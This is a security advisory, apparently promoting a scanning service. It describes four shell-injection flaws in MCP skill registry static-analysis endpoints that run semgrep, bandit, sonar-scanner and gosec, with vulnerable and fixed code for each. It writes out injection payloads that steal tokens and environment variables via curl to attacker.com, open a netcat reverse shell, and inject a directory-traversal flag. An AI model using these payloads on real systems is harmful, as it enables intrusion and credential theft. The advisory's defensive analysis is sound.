Claude MCP skill code injection — skill static analysis and linting pipeline endpoints — SA-SKL-INJECTION45
SA-SKL-INJECTION45 documents four code injection vulnerabilities in MCP skill registry skill static analysis and linting pipeline endpoints. Static analysis pipelines are a compelling injection target because they run security tools — semgrep, bandit, SonarScanner, gosec — that hold organization-wide scan credentials and are designed to traverse the full codebase. When a parameter that controls the scan tool's configuration or output format is passed to exec() unsanitized, an attacker does not just get a shell on the analysis worker; they get a shell with the credentials that grant access to every other organization's scan results. INJECTION45-001 exploits semgrep's config path parameter to exfiltrate SEMGREP_APP_TOKEN. INJECTION45-002 exploits bandit's output format to establish a reverse shell. INJECTION45-003 exploits sonarscanner's host URL to exfiltrate SONAR_TOKEN and cloud provider credentials. INJECTION45-004 exploits gosec's output format via space injection to traverse the directory tree outside the analysis sandbox.
exec(`semgrep --config ${configPath} ${targetDir} --output ${format}`); attacker configPath with ; cat /etc/secrets/SEMGREP_APP_TOKEN exfiltrates Semgrep token enabling access to all org scan results; fix: execFile() array; configPath from server-side constant allowlist; realpathSync containment for targetDir; validate format against /^(json|text|sarif|junit-xml)$/exec(`bandit -r ${sourceDir} -f ${outputFormat} -o ${outputFile}`); attacker outputFormat with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate outputFormat against /^(json|txt|csv|xml|html)$/; realpathSync containment for sourceDir and outputFileexec(`sonarscanner -Dsonar.projectKey=${projectKey} -Dsonar.host.url=${hostUrl}`); attacker hostUrl with ; printenv exfiltrates all env vars including SONAR_TOKEN and cloud provider credentials; fix: execFile() array; validate projectKey against /^[a-zA-Z0-9._:-]{1,400}$/; hostUrl from server-side constant onlyexec(`gosec -fmt ${outputFormat} -out ${outputFile} ./...`); attacker outputFormat with space-injected -exclude-dir=../../../ traverses directory tree outside sandbox; fix: execFile() array; validate outputFormat against /^(json|text|junit-xml|sonarqube|csv|html)$/; realpathSync containment for outputFileINJECTION45-001 — Shell injection in semgrep configPath exfiltrates Semgrep organization token
Severity: CRITICAL
The static analysis endpoint passes the user-supplied configPath parameter directly into an exec() template string to construct the semgrep command. Semgrep uses this token to authenticate against the Semgrep App, pulling organization-specific rule configurations and reporting scan results. An attacker submits configPath as auto; cat /etc/secrets/SEMGREP_APP_TOKEN > /tmp/token.txt; curl -F token=@/tmp/token.txt https://attacker.com/collect. The shell executes the injected commands after the semicolons in the same process context as the analysis worker. The SEMGREP_APP_TOKEN grants read access to all scan results, rule configurations, and finding history for every organization project connected to the Semgrep App account — not just the target skill. The attacker gains access to the security findings of all customers who have run semgrep scans through the registry.
// Static analysis worker — shell injection via configPath
async function runSemgrep(configPath, targetDir, format) {
const cmd = `semgrep --config ${configPath} ${targetDir} --output ${format}`;
const { stdout } = await exec(cmd); // shell injection: configPath unsanitized
return stdout;
}
// Static analysis worker — execFile array + server-side config allowlist
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
const SEMGREP_CONFIG_ALLOWLIST = ['auto', 'p/security-audit', 'p/secrets', 'p/owasp-top-ten'];
const OUTPUT_FORMAT_RE = /^(json|text|sarif|junit-xml)$/;
async function runSemgrep(configPath, targetDir, format) {
if (!SEMGREP_CONFIG_ALLOWLIST.includes(configPath)) {
throw new Error('configPath not in allowlist');
}
if (!OUTPUT_FORMAT_RE.test(format)) throw new Error('Invalid output format');
// realpathSync ensures targetDir is within the sandbox
const sandboxRoot = path.resolve('/sandbox/skills');
const resolvedTarget = fs.realpathSync(path.resolve(sandboxRoot, targetDir));
if (!resolvedTarget.startsWith(sandboxRoot)) throw new Error('Path traversal blocked');
const { stdout } = await execFileAsync('semgrep', [
'--config', configPath, // from allowlist — no shell interpretation
resolvedTarget,
'--output', format,
]);
return stdout;
}
INJECTION45-002 — Shell injection in bandit outputFormat establishes reverse shell
Severity: CRITICAL
The Python static analysis endpoint passes the user-supplied outputFormat parameter into exec() unsanitized. Bandit's -f flag accepts a format string. An attacker submits outputFormat as json; nc attacker.com 4444 -e /bin/sh. After bandit completes its run with format json, the shell executes the injected netcat command, which opens a reverse shell from the analysis worker to the attacker's listener. The analysis worker runs as the same OS user that holds the cloud storage access keys used to store skill scan artifacts, the database connection string from environment variables, and the GitHub App private key used to comment on pull requests. All are accessible from the reverse shell. The bandit injection is particularly dangerous because the output format parameter appears superficially safe — it looks like a simple string from an enum — but is passed to a shell without quoting.
// Python analysis worker — shell injection via outputFormat
async function runBandit(sourceDir, outputFormat, outputFile) {
const cmd = `bandit -r ${sourceDir} -f ${outputFormat} -o ${outputFile}`;
await exec(cmd); // outputFormat unsanitized — reverse shell via ; nc
}
// Python analysis worker — execFile array + enum validation + path containment
const OUTPUT_FORMAT_RE = /^(json|txt|csv|xml|html)$/;
async function runBandit(sourceDir, outputFormat, outputFile) {
if (!OUTPUT_FORMAT_RE.test(outputFormat)) throw new Error('Invalid output format');
const sandboxRoot = path.resolve('/sandbox/skills');
const resolvedSource = fs.realpathSync(path.resolve(sandboxRoot, sourceDir));
const resolvedOutput = path.resolve('/sandbox/outputs', outputFile);
if (!resolvedSource.startsWith(sandboxRoot)) throw new Error('Path traversal blocked');
if (!resolvedOutput.startsWith('/sandbox/outputs')) throw new Error('Output path blocked');
await execFileAsync('bandit', [
'-r', resolvedSource,
'-f', outputFormat, // validated against enum — no shell
'-o', resolvedOutput,
]);
}
Static analysis tools run with elevated filesystem access and hold organization-wide credentials. Every exec() call that includes a user-supplied parameter is an RCE waiting to happen. Use execFile() with an argument array for all analysis tool invocations — template string interpolation into exec() is never safe for external inputs.
INJECTION45-003 — Shell injection in sonarscanner hostUrl exfiltrates all environment credentials
Severity: CRITICAL
The SonarQube integration endpoint passes the user-supplied hostUrl parameter into the sonarscanner command via exec(). The -Dsonar.host.url property configures the SonarQube server URL. An attacker submits hostUrl as https://sonar.example.com; printenv | base64 | curl -s -d @- https://attacker.com/collect. After sonarscanner attempts to connect to the legitimate SonarQube server, the injected printenv dumps all environment variables — including SONAR_TOKEN, AWS access keys, database connection strings, and the Anthropic API key — base64-encodes them, and exfiltrates them via curl. The hostUrl parameter is accepted from the client because different registry organizations may use different SonarQube instances, making it appear as a legitimate configuration parameter rather than an injection vector. The fix removes hostUrl from client input entirely and reads it from a server-side environment variable.
// SonarQube integration — shell injection via hostUrl
async function runSonarScanner(projectKey, hostUrl, sourceDir) {
const cmd = `sonar-scanner -Dsonar.projectKey=${projectKey} -Dsonar.host.url=${hostUrl} -Dsonar.sources=${sourceDir}`;
await exec(cmd); // hostUrl unsanitized — printenv injection exfiltrates SONAR_TOKEN
}
// SonarQube integration — execFile array + hostUrl from server-side env only
const PROJECT_KEY_RE = /^[a-zA-Z0-9._:-]{1,400}$/;
async function runSonarScanner(projectKey, sourceDir) {
if (!PROJECT_KEY_RE.test(projectKey)) throw new Error('Invalid project key');
const sandboxRoot = path.resolve('/sandbox/skills');
const resolvedSource = fs.realpathSync(path.resolve(sandboxRoot, sourceDir));
if (!resolvedSource.startsWith(sandboxRoot)) throw new Error('Path traversal blocked');
await execFileAsync('sonar-scanner', [
`-Dsonar.projectKey=${projectKey}`,
`-Dsonar.host.url=${process.env.SONARQUBE_HOST}`, // server-side constant; never from client
`-Dsonar.sources=${resolvedSource}`,
`-Dsonar.login=${process.env.SONAR_TOKEN}`,
]);
}
INJECTION45-004 — Space injection in gosec outputFormat traverses directory tree outside sandbox
Severity: HIGH
The Go static analysis endpoint passes the user-supplied outputFormat parameter into the gosec command via exec(). Gosec's -fmt flag accepts a format name. An attacker submits outputFormat as json -exclude-dir=../../../. The shell splits this on spaces, interpreting the injected flag as an additional gosec argument that excludes the parent directory chain from the scan scope. This space injection bypasses sanitizers that only block semicolons, pipe characters, and backticks but do not account for arguments injected via spaces within a single parameter field. The injected -exclude-dir flag causes gosec to scan the directory above the sandbox root — exposing other tenants' skill source code, server configuration files, and secrets stored in adjacent directories. Because the scan report includes file paths from the excluded directories, the attacker can map the filesystem layout outside the intended sandbox boundary.
// Go analysis worker — space injection via outputFormat
async function runGosec(outputFormat, outputFile) {
const cmd = `gosec -fmt ${outputFormat} -out ${outputFile} ./...`;
// outputFormat='json -exclude-dir=../../../' injects extra flag via space splitting
await exec(cmd);
}
// Go analysis worker — execFile array + enum validation for outputFormat
const OUTPUT_FORMAT_RE = /^(json|text|junit-xml|sonarqube|csv|html)$/;
async function runGosec(outputFormat, outputFile, scanDir) {
if (!OUTPUT_FORMAT_RE.test(outputFormat)) throw new Error('Invalid output format');
const sandboxRoot = path.resolve('/sandbox/skills');
const resolvedScan = fs.realpathSync(path.resolve(sandboxRoot, scanDir));
const resolvedOutput = path.resolve('/sandbox/outputs', outputFile);
if (!resolvedScan.startsWith(sandboxRoot)) throw new Error('Path traversal blocked');
if (!resolvedOutput.startsWith('/sandbox/outputs')) throw new Error('Output path blocked');
// execFile array: each element is a separate argv element — no shell word splitting
await execFileAsync('gosec', [
'-fmt', outputFormat, // enum-validated — no spaces, no injected flags
'-out', resolvedOutput,
'./...',
], { cwd: resolvedScan }); // working directory constrained to sandbox
}
Remediation summary
| Finding | Severity | Primary remediation | Secondary hardening |
|---|---|---|---|
| INJECTION45-001 | Critical | execFile() array; configPath from server-side allowlist only; realpathSync containment for targetDir; validate format against enum | Store SEMGREP_APP_TOKEN in secrets manager not filesystem; audit all semgrep invocation paths for configPath origin |
| INJECTION45-002 | Critical | execFile() array; validate outputFormat against strict enum; realpathSync containment for sourceDir and outputFile | Block outbound connections from analysis worker; run bandit in isolated container with no network |
| INJECTION45-003 | Critical | execFile() array; hostUrl from server-side env only; validate projectKey against strict regex; realpathSync containment for sources | Rotate SONAR_TOKEN on a schedule; never pass secrets via env vars in exec — use credentials file |
| INJECTION45-004 | High | execFile() array eliminates shell word-splitting; validate outputFormat against strict enum regex; realpathSync containment; set cwd to sandbox | Reject any outputFormat containing spaces even before regex check; run gosec in isolated cgroup with restricted filesystem view |
Scan your MCP skill registry static analysis and linting endpoints for INJECTION45 patterns. SkillAudit checks semgrep, bandit, SonarScanner, and gosec invocation paths for shell injection vectors including semicolons, pipes, backticks, and space-injected flags. See also SA-SKL-INJECTION44 and SA-SKL-INJECTION43. Connect at skillaudit.dev.